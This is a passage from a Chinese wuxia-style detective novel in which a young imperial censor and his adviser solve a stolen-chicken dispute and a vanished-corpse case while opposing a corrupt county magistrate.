朱传宗回到后堂,转来转去,气地跺脚,对吴思远道:“先生,这是多少人在骗我啊!有书吏的文书证明她是侯小兴的夫人,有医院的医生的证明。那些百姓,是被逼的,我不怪他们。可是这些医生,书吏拿着朝廷的俸禄,也都勾其手来骗我,我要是不把他们一网打尽,我就不配作人。”
正说着的工夫,下人通禀周县令前来拜见。原来周县令见朱传宗案子审的很快,也没有刁难谁,以为朱传宗现在回心转意,不想深究这个案子了呢!所以想来说情送礼。
朱传宗脸望向吴思远,恨声道:“这个人这么虚伪狠毒,我真的不想见他。”
吴思远道:“我来会会他吧!”
周县令进来之后,见屋里只有吴思远,心里会意,心想:“朱大人故意躲了,一定是让他的师爷和我谈条件来了。哼,别看他以前装的一本正经,最后还不是露出狐狸尾巴?我们大梁国,哪里会有清官?”
周县令满脸堆笑,道:“吴师爷好啊!大人去休息了吧?今天他可辛苦了,只是不知道大人要如何结案啊?”
吴思远捋着胡须,淡然道:“周大人,我知道你来的目的,可是不怕告诉你。朱大人是铁了心要查清这个案子的。咱们大梁国,差不多无官不贪,可是总有官员要落网的。这里有两个原因,一是常在河边走,哪有不湿鞋;另一个就是官员互相斗,一派斗倒了另一派。可你两者都不是,你是倒霉遇到了朱大人。朱大人是百年来难得一个大清官,他是你们这些贪官的大煞星啊!你要是听我的,承认办错案,革职查办,不过最多流放三年,朱大人为你说上好话,或则可以免了。否则的话,恐怕你要家破人亡。听不听在你,送客。”
吴思远说完端起茶杯。
周县令本来一腔兴奋,以为案子总算要过去了,就算破了财,以后也可以捞回来,但是没想到居然被一口回绝,看意思,以后案子还要大办下去。就算不办下去,巡按大人赖着不走,他也不能收钱办事,一把宝剑悬在头顶,也是夜不能寐啊!
周县令想了一晚上,绞尽脑汁,想要把案子摆平了,他全没想到要辞官保性命。当官的人遇到事情,便想办法去解决,这是他们的成功之处,可是不知道见好就收,不知进退,也是破家丧命的源头。
第二天,朱传宗要去广兴县侯小兴家去调查。周县令心里叫苦,一面派人去打点,一面陪着朱传宗。二人的轿子路过一个街口的时候,看见一群人围在一个店铺前,不知道发生了什么事情。周县令见朱传宗的轿子停下了,连忙下轿去他身边侍候,一边派人去问怎么回事。
衙役回来报告,原来那个店铺叫浦五房,是一家熟肉铺,已经是一个有上百年历史的老店了。因为是做熟食的,所以就要要收购鸡鸭鱼肉之类的,作为原料。
这天,城外的一个乡下人,挑着一笼子鸡进城来卖。浦五房的伙计正巧看到了,就喊住他,想从他那儿买几只鸡。挑了半天,鸡倒没问题,两个人在价钱上却怎么也谈不拢。结果伙计又把鸡放回了鸡笼里,不买了。可是乡下人一查数,发现少了一只,就向那个伙计讨要。伙计却不承认拿了鸡。
两个人就当街争吵了起来,引来很多围观者。围观的人一看是浦五房的伙计和一个乡下人吵起来了,都认为是这个乡下人不对,都说:“人家一个堂堂百年老店,怎么会赖你一只鸡呢?”
乡下人也很委屈,道:“要是这些鸡都是我的,也还罢了。这里面还有一些是我替乡亲们代卖的,要是弄丢了,我回去怎么交代?”
乡下人和那个伙计谁也不服谁,因此没有办法解决,闹了起来。
周县令听了,道:“这个案子很容易解决,我去好了。”
朱传宗和吴思远跟在他身后。
周县令在人群里只是大体一问,然后便断定是那乡下人无事生非,喝令把他轰走。这些店铺在过节的时候,都给县令送礼,否则生意不可能做的成,周县令自然也要为这些店铺说话。
乡下人不服气,像个孩子似的“呜呜”哭了起来。
朱传宗对吴思远道:“这人要是无理取闹,一个大男人,怎么会哭呢?可惜这个事情是没法子证实的啊!”
吴思远道:“让我来试一试吧!”
说完便盘问那个浦五房的伙计。
那伙计回答说:“刚才知县大人都已经问过啦!小人岂敢撒谎?再说了,我就是把这只鸡赖下来,也不能归我。我何必偷一只鸡去讨好店主呢?”
吴思远问他:“你们今天买过鸡吗?”
伙计回答道:“一大早的,还没有。”
吴思远道:“好吧,那么把你们双方所有的鸡都带到这里来。”
伙计按吩咐做了,然后吴思远问那个伙计:“我问你,你们平时拿什么喂鸡呀?”
伙计道:“我们用的是谷子和米糠来喂鸡。”
吴思远又问那个乡下人:“你呢?用什么来喂鸡的?”
乡下人说:“我们乡下人哪有什么饲料啊?鸡都是自己在野外找东西吃的。”
吴思远下令把双方的鸡都杀了,剖开鸡腹检验。结果发现,乡下人的鸡肚子里都是一些青草、沙石之类的东西,而浦五房的鸡呢,大部分肚里都是些谷子、米糠,只有一只肚里也是青草、沙石,很明显的确有乡下人的一只鸡。
吴思远笑道:“这个案子破了。”
周知县见了,立刻变了脸色,厉声对伙计说:“现在事情搞明白了。你确实不是贪图一只鸡,而只是想欺负一个乡下人罢了。你刚才不是欺骗本官吗?好,我现在就关了你们的店铺。”
浦五房店主闻讯前来求情,朱传宗道:“算了,罚他们一下就算了。不必关了他们店铺。”
让浦五房店主赔偿那个乡下人的损失之后,朱传宗带领着众人开始赶路了。
第四章 英雄救美
第二天,朱传宗到了广兴县,来到侯小兴的住所。广兴县知县听说了这事,也急忙前来侍候。
朱传宗亲自来到侯小兴的左邻右舍,打听情况。这些百姓都吞吞吐吐,神色慌张,可是都咬定侯小兴的夫人是十多年前就嫁到这里了。
朱传宗知道他们都是受了危胁,也不勉强,出了门的时候,看见一个七八岁的孩子在外面玩耍,便走上前去,道:“小兄弟,我向你打听个事情,你要是回答了,我就给你二文钱,让你买好吃的去。”
那孩子一向调皮,再说年纪小,并不知道什么好歹,笑道:“真的?看你样子,你是大官吗?你可不能说话不算数。”
朱传宗笑道:“当然啦!你看那家,他们家的媳妇时侯来的啊?为什么他们家没有孩子呢?”
小孩子笑道:“老侯家啊!他本来是个光棍,前三四年从外地才带来一个媳妇,要有孩子,也很小啊,不能出来和我玩啊!别的,我是不知道了,也不能乱说,我爹爹知道了会骂的。”
朱传宗让人给了小孩两文钱,对脸色惨白的周崇圣道:“周大人,这个孩子的话,可怎么说啊?看来还是小孩子能说真话,只要带几个孩子回去,这个案子就不难破了。”
周崇圣浑身冒汗,正不知道如何是好的时候,忽然周崇圣旁边的县丞道:“大人,根据我大梁国律法,十四岁以下的孩子所说的话,不能做为呈堂证供的。”
周崇圣一边擦汗,一边强笑道:“对,对。大人啊,小孩子的话做不了准,您一路行来,也辛苦了,不如我们去广兴县府衙歇息吧!”
朱传宗不理会他,看了一眼吴思远,吴思远道:“不错,小孩子除非情况特殊,的确不能当证人。”
朱传宗一脸失望,他没有查案的经验,可是吴思远似乎在考验他,也不给他出主意。这个案子该如何办呢?
朱传宗绞尽脑汁,没有想出别的办法,第二天,在周崇圣的催促下,打道回上庆县了。
回到上庆县府衙,朱传宗在屋里走来走去。拍着脑袋,道:“这可怎么办好?我不知道怎么查案,吴先生也不告诉我,他是有心考验我呢!可是有什么办法能查清楚案件呢?”
小郁掘起小嘴,眉毛一挑,道:“这有什么难办的?把证人抓起来,一阵毒打,看谁敢不说实话?”
朱传宗道:“不行。一来,吴先生觉得用刑的话,是没本事的人;二来,周县令那个坏蛋肯定不会答应,会说我屈打成招,上奏朝廷。这个案子就彻底的没法办下去了。”
小郁听了,也很泄气,道:“那怎么办?”
暖云道:“岳姑娘的母亲没死,却判他父亲杀妻……对了,我有主意了。”
朱传宗和小郁急忙道:“什么主意?”
暖云笑道:“滴血认亲。这个主意高明吧?”
说完很是得意。
朱传宗在看书的时候看过这个法子,一听大喜,双手捏住住暖云的香腮,亲了她小嘴一下,道:“你真是聪明美丽的大美人。”
然后兴奋地换官服,吩咐下人升堂。
周县令听闻朱传宗升堂,提审犯人,急忙前来,好在万一出错的时候补救。
朱传宗在大堂上道:“既然岳姑娘说她母亲没死,而大家却说那个妇人不是她母亲。不如来一场滴血认亲好了。这样事情就一清二楚了。”
周县令头上冒汗,连忙道:“大人,根据我们大梁国的律法,只有在没有任何证据的情况下,或者证据势均力敌的情况下,才能用滴血认亲来鉴别是不是血亲关系。”
朱传宗怒道:“你的意思是说本官用这个法子判案不对吗?”
周县令虽然不想得罪这个朝廷派来的钦查大人,可是拉拢巴结不了,只能硬顶了,道:“不错。即使是她们的血液相溶,这个证据也只能做为佐证,在有人证物证的情况下,也不能推翻原来的案子。何况鸡血也能和人血溶合,这个法子并不是可以完全信赖的。”
朱传宗本来以为可以破案了呢,没想到还有这么多的说法,兴奋之情立刻烟消云散了,气冲冲地便去了,连退堂两个字都免了。
朱传宗回到屋里生闷气,暖云和小郁知道了结果,急忙来安慰,暖云自责地道:“少爷,都是我不好,乱出主意。你别往心里去。”
小郁原本嫉妒,此刻高兴的成分倒多了几分,心里恨朱传宗不对她好,只是宠爱暖云,便道:“活该,你一向笨笨的,我才不信你能破案呢!”
小郁一向和朱传宗斗嘴,他也习惯了,不过却激起了雄心,转到小郁身前道:“好,我若是破了这个案子,你怎么谢我?”
小郁见他色咪咪的眼神,就知道他的鬼主意,偏起头,道:“你破了案,我用一个美人来谢你。”
朱传宗笑道:“好,这可是你说的。”
小郁笑道:“是呀,你破了案,岳小姐还不会谢你吗?”
朱传宗失望地道:“原来你是说她啊!我不干,我要你犒赏我。”
小郁道:“行啊,等下辈子吧!”
朱传宗大为气馁,心想:“要是小郁爹爹被人冤枉了,我去为他伸冤,她就会求我了。”
朱传宗想到这里,觉得还是破案要紧,便派人请吴思远去书房相见。
朱传宗道:“先生,你看我想了许多的办法了,都没有效果,你给我提个醒吧!我也不强求你给我出主意。我年纪还小,经验很少,就像你杀鸡辨别鸡归谁的法子,我不懂,就不知道了啊!”
吴思远笑道:“不懂,慢慢学啊!这个案子,并不复杂,你都头疼,以后遇到更难的案子,你可怎么办好?我年纪大了,以后也不能总跟着你,少爷还是多用心吧!其实你反正也没什么事情,留在这里,看一下民情也是好的。”
朱传宗道:“先生教训的是。看来我还要努力。”
此后几天,朱传宗在上庆县调查案情,去了岳一鸣他们家原来的庭院,因为这个院子卖给了蔡家,便开始调查里面有没有违法的地方。
周知县被弄得焦头烂额,虽然他已经吩咐衙役们在这个其间用心做事,不要弄出什么出格的事情,可是很多门路就此被堵住,还要按时上班,衙役们也怨声载道。
这天,朱传宗在书房和吴思远聊天,正说着,周县令前来求见。
朱传宗知道周县令是一个贪官,但是又不能不见,只好勉强压下心中的厌恶,让他进来。
周县令进来,见过礼后,道:“大人,不好了,下官所管辖的旺水村,发生了一起命案,可是事情之离奇,让下官束手无策啊!大人英明聪慧,一定能够破了这个案子。”
朱传宗和吴思远对望一眼,心想:“这小子果然有两下子,这是为难我来了。让我呆的也不舒服。”
懒洋洋地道:“你说说,到底是什么案子?你是一县的父母官,做了这么多年了,还有什么案子是你破不了的吗?你不是一贯会诬赖好人吗?你找个替罪羊,案子不就结了吗?”
周县令一怔,苦笑道:“大人说笑了。这是一个杀人案,本来此案有了些许眉目,但是被杀的女尸,在验尸的时候,突然发现变成了一具男尸。”
朱传宗道:“还有这等事情?你详细说说。”
原来,离县城百里有一个旺水村,一户姓杨的人家,因为几代一直辛苦劳动,又很勤俭,所以到了杨富春这一辈,在村里是比较富裕的农户了。
杨富春有一个儿子,因此自幼就养了一个童养媳,是外乡的张家的女孩,性情很温顺,又很能吃苦。
等到杨富春的儿子杨开赴长大了,便让他们成亲了。可是过了一晚上,第二天,过了中午,他们都没出来。
杨富春的妻子进去一看,只见新娘裸露着死在床上,而新郎杨开赴不知去向。
杨富春于是赶紧通知张家。可是三天之后,张家的人赶来的时候,新娘已经被安葬了。
张家的人大闹一场,杨富春一家推说因为现在是夏天,天气炎热,怕尸体腐烂,所以安葬了。情愿赔些银子。
张家怀疑他们的女儿是被害死的,所以便到县衙里来告状了。
周县令一听这事,就立刻赶往旺水村,开棺验尸。谁知道打开棺材,只见里面是一个六七十岁的老头子的尸体,背上有斧子砍死的痕迹,哪里有什么女尸呢?
周县令很奇怪,问杨富春一家人,他们也很奇怪。问他们的儿子哪里去了,他们也不知道。
于是周县令便把杨富春关押起来,吩咐通缉杨富春的儿子杨开赴。
过了两天,杨开赴的儿子听说他父亲被关押起来,便来投案。周县令问他那晚上到底发生了什么事情。
杨开赴说,新婚那天,他和新娘子恩恩爱爱,本来很是和谐,可是他想起和一个人学的点穴,便开玩笑说他会。
新娘子不信,他便点了她的神潭穴,谁知道新娘子开始笑了几声,然后就一动不动了。
杨开赴急忙点灯一看,只见新娘子已经死了,杨开赴非常害怕,一时想不开,便畏罪潜逃了。
周县令听了,便问他那个老头的尸体是怎么回事,他说不知道。
周县令判断不了案情,于是前来请朱传宗审案。
朱传宗案子听得一头雾水,哪里有什么主意。可是不能示弱,道:“你把案子所有的卷宗,都交给我,我一定破了此案。”
周县令巴不得他这样,好让他没空管别的。
周县令走后,朱传宗对吴思远道:“本来我还想呆在这里,就是拖也把这家伙拖死,可是现在有了案子,我不能不理啊!如果案子破不了,我更加没有威信了,还怎么办岳一鸣的案子?先生,你看这个案子到底是怎么回事?”
吴思远沉吟了一会儿,道:“我也不知道,我们去埋尸体的地方去看一看去吧!”
因为岳可人熟悉这里的地形,便带着她,让她指路。
一行人在村里里长的带领下,来到墓地,吴思远仔细查看了四周,见远处有一个小路,便问里长,那个小路通往什么地方。
里长道:“这条小路可以通往宛安乡和观水乡。不过这里是很僻静的小路,一向很少有人走的。”
吴思远沉吟片刻,对朱传宗道:“少爷,我想到了。”
朱传宗大喜,道:“我一直莫名其妙呢,先生居然知道了,到底是怎么回事呢?”
吴思远道:“此刻我也不能详细地知道案情,但是我猜测,如果这个女子没死的话,他就会被路过的这两个村子的村民救走。如果这女子死了,尸体也多半是被这两个村子的村民盗走。我们分头去这两个村子调查,说不定就能破案。”
朱传宗本来聪明绝顶,一听吴思远的分析,立刻知道了应该如何调查案情,大喜,道:“先生的一席话,真是让我顿开茅塞啊!”
吴思远带领着一些个衙役去宛安乡,朱传宗和房中席,岳可人去了观水乡。
朱传宗三人来到观水乡,在路上,岳可人看着这里的景物,忽然掉下泪来。
朱传宗奇道:“岳姑娘,你哭什么?”
岳可人道:“我记得小时候,我爹爹带我到这里玩过。那时多么逍遥自在啊!可是现在我爹爹却在暗无天日的牢里,承担着莫须有的罪名。我想到这里,所以伤心。”
朱传宗叹道:“都是我没用,不能替你洗清你父亲的冤案。”
正说着,忽然不远处走来一个大胖子。这个胖子个头很高,和朱传宗差不多,看起来很胖,也足有三百多斤的样子。
朱传宗见了,想起他以前的样子,便看定了,见他担了一副担子,原来是卖豆腐的。
这个大汉走到朱传宗跟前,忽然卸下担子,一扁担打向朱传宗。
朱传宗没防备,扁担一下打在腰上,朱传宗原本以为一定会被打飞,哪知道身体忽然变胖,产生一股力量,把那扁担弹开了。
大汉再打,同时大汉惊道:“你会妖术?”
这个时候,房中席也已经出手,向汉子的脑门一掌拍去。
房中席原本没有在意,不料想出来一个浑人,见了朱传宗就打,他反应不及,眼看朱传宗挨了打,心里焦急得不得了,出手凌厉,同时问道:“少爷,你没事吧!”
朱传宗惊魂已定,道:“我没事。这个浑人竟然敢无缘无故打人,你把他给我拿下。”
房中席听了,下手更狠。可是那个汉子不会武艺,但是天生力气大的很,房中席比画了半天,那汉子才被房中席擒住。
朱传宗怒道:“你这个混蛋,为什么打我?是不是有人指使你的?”
那汉子被房中席剪了双手,跪在地上,气喘吁吁地道:“你欺负女人,你是坏蛋,我母亲说了,对女人要好。见了你这样的人,我非打不可。”
原来这个大胖子是观水乡的村民,叫做王大牛,自小力大无穷,天生饭量就大,据说为了养他,他父亲就是累死的,因为他胖,人称王大胖子。
王大牛心眼好,但是一个心眼,生平好打不平,平日以卖豆腐为生,他正挑担往前行走,猛抬头见朱传宗拉着一个美貌女子,那女子哭哭啼啼,不由心中纳闷,想道:“这人难道是拐来人家的姑娘不成?不然就是使女、丫鬟之类的,他拿来出气,全然不知道要珍惜女人。既然今日要我遇见,我王胖子岂有不管之理。再说刘大哥说他英雄救美,得了一个媳妇,说不定我也有这个好运气呢!”
王大牛想到这里,心里高兴,于是将担儿一放,也不管没放稳,挑儿倒在地上,豆腐撒了一地,也不顾了,抽下扁担举起,恶狠狠望朱传宗打来,先打了朱传宗一扁担,第二下朱传宗身形一闪,扁担打空,落在地上,把地打一个深坑,扁担也折断了。
王大牛拿着半节扁担,上去又朝朱传宗打来,这时候房中席已经上来了。
房中席大怒,使出真功夫,见王大牛半节扁担临近,身形一闪,用左飞脚照着大汉手腕踢去,将半节扁担踢飞。然后飞掌打在他身上,可是王大牛力气很大,皮又厚,居然不觉得疼,反过来打向他,二人斗了一会儿,房中席一个扫堂腿,把个王胖子踢倒在地,这才把他擒住了。
朱传宗不料想眼前这个大胖子说出这样一番话来,道:“你这人真愣呀!你为何不先问明白了,再打也不迟。这位岳姑娘,是我……是我的妹妹,你不容分说,举扁担就打。我如果不是会一些功夫,难道不给你打死了不成?”
王胖子说:“你既然和她是兄妹,为什么不早向我说明白呢?我就不动武了。再说,你是当哥哥的,怎么能让你妹妹哭呢?你为什么不哄她开心呢?”
朱传宗哭笑不得,道:“还有你这样的愣人,真是没办法和你讲道理。”
这个时候,岳可人道:“大哥,咱快走罢,别和这个傻子计较了。”
朱传宗道:“好吧,咱们还有正经事情。就放了他吧!”
房中席把王大牛放了,道:“我们家少爷心好,你若是再胡来,就别怪我心恨,废了你性命。”
王大牛起身磕头道:“这个少爷,对不起了,你别怪我,都是我鲁莽。我这是何苦呢?扁担也折了,豆腐撒了一地,本钱也赔光了,回家我老娘一定不能让我吃饭了。其实我也不傻啊!前些日子刘大哥和我说,他就是看见一个姑娘哭哭啼啼的,他救了她,结果白得了一个媳妇,我以为我也有这样的运气呢,省得我老娘总担心我讨不上媳妇。我说媳妇有什么好啊!要是天天让我管够吃饱饭,我才不要什么媳妇呢!”
朱传宗本来没怎么在意,忽然听了王大牛这话里有话,忙道:“你是说?你们村有个刘大哥这些日子捡了一个媳妇?”
王大牛道:“是啊?难道你以为我说慌吗?真的是有,否则我为什么想也不想,就打你啊?你以为我当真傻啊?”
朱传宗道:“我不信,你一定是骗我,好让我原谅你,是不是?”
王大牛气得眼睛都红了,怒道:“我不骗人,我王大胖子从来不骗人,不信你在这个村里打听打听。”
朱传宗道:“都是你们一个村的,他们跟着你一起骗我,也说不定。除非你带我去见那个什么叫刘大哥的人,顺便看看他是不有有了新媳妇。”
王大牛本来立刻就要带朱传宗他们去,忽然想起了什么,停下道:“不行,时间快到了,回去可不能晚了,我先得把这些家伙事送到家里,这些豆腐我也得捡起来,让我老娘看看是真的掉在地上了,不是被骗走的,也不是我饿了吃掉的。”
朱传宗道:“不用捡了,多少钱,算我买了。”
王大牛怒道:“不行,是我的错,怎么能要你的赔钱呢?我娘知道会骂我的。我们家穷,但可是有骨气的。”
朱传宗道:“好,好。那我们先陪你去你家,然后再去找那个姓刘的,这样行了吧?”
王大牛连连点头,喜道:“正好,你向我老娘作证,说我没偷懒不卖豆腐。”
一行人便向王大牛家走去。卖豆腐都是早上就卖,到了中午就卖完了,现在是中午时分,路上行人不多,但是遇到的人,多半都是认识王大牛的村民,都向他打招呼,一个人道:“胖子,晚上去我们家吃饭啊?”
王大牛嘟囔着嘴道:“你别哄我了。小心我真去,把你们家吃穷。”
遇到一些小孩子,他们看见王大牛便跳起脚唱道:“大胖子,真能吃,一口吃个大肥猪;下雨天,跌一跤,砸出一口井。”
王大牛憨笑几声,也不在意。
第五章 案中有案
朱传宗一路上听了王大牛被人嘲笑,想起他以前肥胖时的苦楚,被人瞧不起,被人轻视时的经历,不由起了同情之心,便和他拉家常,问了他的姓名和家里的情况,原来他只有一个七十多岁的老娘,他今年已经三十岁了,还没娶上媳妇。
朱传宗笑道:“王大牛,你不如跟了我,做我的随从吧,保证你娶上媳妇。”
王大牛摇头道:“你骗人,我才不信呢!多少个人都这样骗过我了。”
朱传宗道:“我可不是一般的人物,你听我口音,是这里的人吗?我可是从京师盛京来的有钱人啊!”
王大牛说:“你得了吧!你是京师口音不假!你把家说远远的,省得我找上你家门去,到时你就丢脸了。”
朱传宗道:“我祖父随龙驾得的天下,立下大功,封为大官,我名朱传宗,在盛京大大有名。你信不信?”
王大牛鄙夷道:“瞧你说的,这么说咱们县周大老爷你也认识了?”
朱传宗道:“他算什么?芝麻大点的官罢了。在吏部,刑部的大官我认识多了,督察院就是我所在的衙门,不怕你知道,我在京师,那是三宫六院随我游逛啊!”
朱传宗从来没进过宫,他在京师这么久,出来之后,路上听到老百姓说起京师的皇宫,都是羡慕的很,因此便吹嘘起这个,心想:“等我回到盛京,我便去皇宫游玩,现在可也不是说慌。”
王大牛把舌头一伸,说:“敢情你是个疯子吧?这样的大话你都能编出来。”
岳可人微笑道:“他说的没错,他就是从京师来这里视察的巡按大人。他家就是名闻天下的朱家。”
王大牛眼睛都绿了,道:“朱……家?是不是大家说他家用金子当饭碗,晚上用夜明珠照明的那个?”
岳可人莞尔道:“是啊!”
王大牛愣了,忽然飞奔起来,来到一个院子,推门喊道:“娘啊,不好了,你说儿子遇到谁啦?”
朱传宗和岳可人相视一笑,然后跟着走进了王大牛的家。
王大牛搀扶着一个老太太出来迎接,老太太要跪下行礼,朱传宗连忙拦住了。老太太道:“贵客前来,不知道是不是小儿做错了什么事情,有什么得罪的啊?”
朱传宗看老太太一脸慌张的样子,王大牛也急得脸红脖子粗,惟恐他说出责怪他的话来,便笑道:“老奶奶,您放心好了,您儿子憨厚的很,是个好汉子。我来是有些事情想请他帮忙。”
老太太这才正常起来,连忙让朱传宗三人进屋,到了屋里,老太太忙着要倒水给他们喝,朱传宗道:“您不用忙了,我们还有事,就先不打扰了,等办完事情回来再说吧!”
老太太虽然年纪很大,也见过不少世面,但此刻也不知道说什么好,只道:“好,也好。”
盯着岳可人道:“这姑娘真俊,不愧是大户人家的小姐,我们村这样的姑娘,几十年都没看过了。你和朱少爷还没成亲呢吧?”
岳可人脸红了,道:“您别这样说,我一个落难的丫头,怎么能配得上少爷呢?”
朱传宗一直以来,对岳可人以礼相待,丝毫不敢过分,因为岳可人看起来一身正气,怕得罪她,惹她不高兴,她在难中,如果那样的话,就是落井下石了。岳可人孤身一人上京告状,脾气定是刚烈的很,可不敢放肆。此刻听了岳可人的话,似乎对他大有好感,忙道:“配得上,配得上。”
岳可人脸更加红了,啐道:“你不是好人,乱说什么?”
心里却很欢喜。
王大牛恍然大悟,道:“我懂了,岳姑娘是喜欢朱少爷,朱少爷不知道,所以岳姑娘就哭。”
岳可人起身夺门而出,道:“不理你们了,你们胡乱嚼舌根。”
屋里一片笑声。
朱传宗晓得了岳可人对他的情谊,心里高兴极了,忽然想起要去抓贼,可是有危险的,便道:“老奶奶,我们出去有点事情,带着一个姑娘不方便,可否让岳姑娘在您这里呆一会儿?”
老太太很高兴,老人家少有人做伴,自然痛快地答应了。
朱传宗三人出了门,在岳可人依依不舍的目光里上路了。
王老太太给岳可人端来一杯水,和她唠家常,问岳可人的家事。
岳可人想起家中之事,道:“我是落难之人,现在事情还没有完,想起来真是让人伤心啊!”
把家中的事情大略说了一遍。
王老太太一听,不由动了恻隐之心,道:“你这么年轻的闺女,身子又这么娇嫩,居然有这种能耐,能够一个人去京城告状,听说去京城告状的人很多,很多人都被诬蔑为诬告,幸亏老天没有亏待你,让你有了伸冤的机会。我看这个朱少爷不是简单人物,他既然对你有意,想来一定能帮你家洗脱冤情。”
岳可人闻言,想起老父亲,不由泪流满面,道:“但愿少爷能找到法子,替我父亲洗清冤情。”
老太太也跟着叹息安慰。
再说这个观水乡有一个无赖康能,他和王大牛是朋友,终日喝得醺醺大醉,这天他又喝醉了,一路歪歪斜往家走,一头碰在门楼墙上,心中火起,说:“这是谁家门楼?修盖在这里当道碍事,真是气死我了。”
康能抬头仔细一看,心想:“哈!是了,这是王大牛这傻小子家的大门。我既然从这路过,反正没事,就去他家好了。如果他家有什么好东西,偷他点东西去换酒喝也是好的。”
想到这里就往里就走,口里叫道:“王胖子啊!我来看你了,你在不在家啊?”
王老太太听见人喊,连忙走出屋,见是无赖康能,便道:“大牛不在家,你改天来吧!”
便推他出去,康能道:“我好不容易来了,怎么不让我进门坐坐呢?”
走进屋,见炕上坐着一个美貌女子,道:“我说怎么不让我进来呢!原来是有客人在啊!”
观水乡是个穷地方,女人都不愿意嫁到这里,因此村里光棍很多,康能是个无赖,更是找不到媳妇了,此刻就算是见了一个普通女人,也会动心,而岳可人美若天仙,康能立时就看呆了,不由得心中一动,色胆包天,痴痴呆呆地问道:“这女子从何处来的?莫不是大牛的媳妇?”
王老太太妇看了康能神色,忙说:“这是朱大人的未婚妻,她可是大户人家的小姐,有事在这里呆一会儿,一会儿就走。”
康能道:“你这老太太胡说,我们村里什么时候能请来这样的小姐?一定是你们骗来的。你老看看我连个媳妇也没有,你老何不成全我呢?将她许配给我吧!我和她拜堂成亲,成了夫妻,以后一辈子忘不了你老的好处。”
王老太太听了这些话,不由得大怒,道:“好一个王八羔子,快快滚出去!竟然敢在我家撒野,等大牛回来,不把你劈了?”
一伸手,正好有个擀面杖,抄起便打去。
康能一闪身,躲开头颅,肩膀挨了一下。康能晃了两晃,怒道:“好你个王老太太呀,你与我说媒不说媒在你,绝不该打我这一擀面杖啊!你当我是好欺负的吗?我看你这把年纪了,是活腻了。今天就是你的死期。”
从腰中把一把钢刀抽出来,照着王老太太剁去。王老太太被刀剁躺在地,康能杀红了眼,加上酒喝多了,早失去了人性,又补上一刀,王老太太气绝身亡。
事情突然,岳可人还没等反应过来,王老太太就被杀死了。无赖康能用刀一指,道:“你这个小妞,答不答应嫁给我?如果不答应,就和这个老太太一样,我一刀砍死你。”
岳可人见到康能当场杀人,知道他不是胡说的,心想:“我一死,父亲冤案可能就完了,这个歹人要是杀了我,逃跑了,我和这位老太太可能就白死了。”
她眉头一皱,计上心来。岳可人能独自千里去京师告状,既需要勇气和胆量,也需要智慧,此刻面对危机时刻,她反而镇定下来。
岳可人道:“你别杀我,我答应嫁给你就是了。我是被骗到这里来的,你以后对我好,我就一心一意跟你。”
康能大喜,道:“你要是真跟了我,我岂会不待你好?”
于是将刀扔在地上,道:“快走!快点跟我到我家里拜堂成亲去。”
岳可人假意问道:“你家在哪里?”
想着逃跑的办法。
康能道:“我住在村东。”
岳可人说:“这个老太太尸首你得藏匿起来才好。不然的话,如果有人看见,把你拿到官府里,给她偿命,我们的夫妻就不能长久了。”
康能道:“对呀,有道理,这个好办,这个院后有一口井,我把她扔在井内就完了,王胖子那家伙就是回来,也找不到。”
心里高兴,哈哈大笑起来,把尸身背起,道:“你也跟我来。”
岳可人听了心里暗骂:“恶贼!我想哄你出去,我好逃跑。谁知你这恶贼太奸,让我相随,看来脱逃是很难了。”
无奈跟着康能来到后院井边。康能把尸首“扑咚”一声扔在井内,说:“你快跟我走。”
就来拉她的玉手。
岳可人忽然灵机一动,道:“你向井内瞧一瞧啊!尸首是漂着是沉底?若是漂浮着,还是不妥当,应该搬石头压下去。”
康能说:“也对,是我糊涂了,多谢提醒。”
于是探身向井中望去。
岳可人趁这个机会,见康能没有防备,便用尽浑身力气,把康能一推,“扑嗵”一声,康能落井淹死了。
偏巧这个时候隔壁西边的邻居王同正在院中打扫,忽然听见隔壁“扑通”一声响,心里好奇,心想:“王胖子在干什么呢?”
于是用手趴墙头一看,他没有看见康能扔王老太太尸身,正好看见岳可人推康能入井,吓了一跳,立刻跑在大门外大喊:“了不得了!东邻的,西舍的,乡甲地保啊,你们快来呀!不知从何处来一个狐狸精,把康能推倒井里去了!”
王同大声喊叫,立刻乡民们都来了,里长、地保也听说来了,一会儿来了一群人,王同对众人说:“一个非常漂亮的女人,把康能推在井里了,一定是狐狸精啊!”
众人问道:“她在哪里?”
王同说:“你们随我来。”
众人拿着锄头棍棒,一拥进了王家后院井前。
岳可人把康能推下井之后,早吓得堆在地上,瑟瑟发抖。
众人见岳可人太美,乡里从来没有过这样的美人,便不敢靠近她,都用武器对着她,道:“你不许跑,你是谁?是不是狐狸精?你为什么杀人?”
王同说:“你们先看守她,别教她跑了,快打捞康能要紧。”
众人闻言,手执勾竿子,七手八脚,从井里捞人。
众人见岳可人太美,乡里从来没有过这样的美人,便不敢靠近她,都用武器对着她,道:“你不许跑,你是谁?是不是狐狸精?你为什么杀人?”
王同说:“你们先看守她,别教她跑了,快打捞康能要紧。”
众人闻言,手执勾竿子,七手八脚,从井里捞人。
把尸体捞上一瞅,众人惊骇,见是王老太太尸身。王同说:“明明是康能落井啊,再捞吧!”
众人又一捞,果然捞到了康能的尸体,众人更加惊骇,这是两条人命的大案,甲长、地保急忙派人先去报案,然后押着岳可人防她逃跑。
周县令听说是两条人命案,尤其是现在有钦差在这里,哪敢怠慢,吩咐调轿,带着三班衙役、书吏、仵作,赶往观水乡。
周县令见被乡民说是杀人的狐狸精竟然是岳可人,开始大惊,惊问道:“你怎么跑到这里来了?为什么杀人?”
岳可人道:“我是和朱大人一起来的,这个无赖杀了老太太,还要杀我,所以我才把他推下井的。”
心想:“这个贪官一定不会轻饶了我,少爷啊!你怎么还不快点回来。”
这个时候仵作验完尸,报道:“男尸是落井淹死,并无伤痕;女尸是被刀砍废命。”
书吏填了尸格,周县令此刻已经一切都知晓了,心里暗喜:“这是天意让我脱困啊!”
吩咐甲长、地保等可以处理尸首了。然后押着岳可人准备回衙。
再说朱传宗同王大牛三人一起去他说的刘大哥家。这个姓刘的人是个木匠,十里八村的人一般都找他干活。
王大牛来到刘家,进了院子,喊道:“刘大哥,我来瞧你的新娘子来了。”
屋里传来喊声,道:“你们先别进来,臭胖子,你旁边那两个人是干什么的?”
房中席忙道:“我们听说你木匠活好,特意前来找你有点活干的?怎么,难道你不做生意了?”
说话的工夫,三个人进了屋,只见一个大汉,三十多岁年纪,手里拿着斧子,惊异不定地看着三人,神色之间很是惶恐。
朱传宗看见他拿着斧子,心里一动,想起棺材当中的男尸是被斧子砍死的,和房中席对望一眼,二人都立时有了答案。
王大牛笑道:“刘大哥,看你吓得样子,我难道还来抢你的媳妇来了?怎么还拿着斧子?你媳妇呢?不会不让我见吧?”
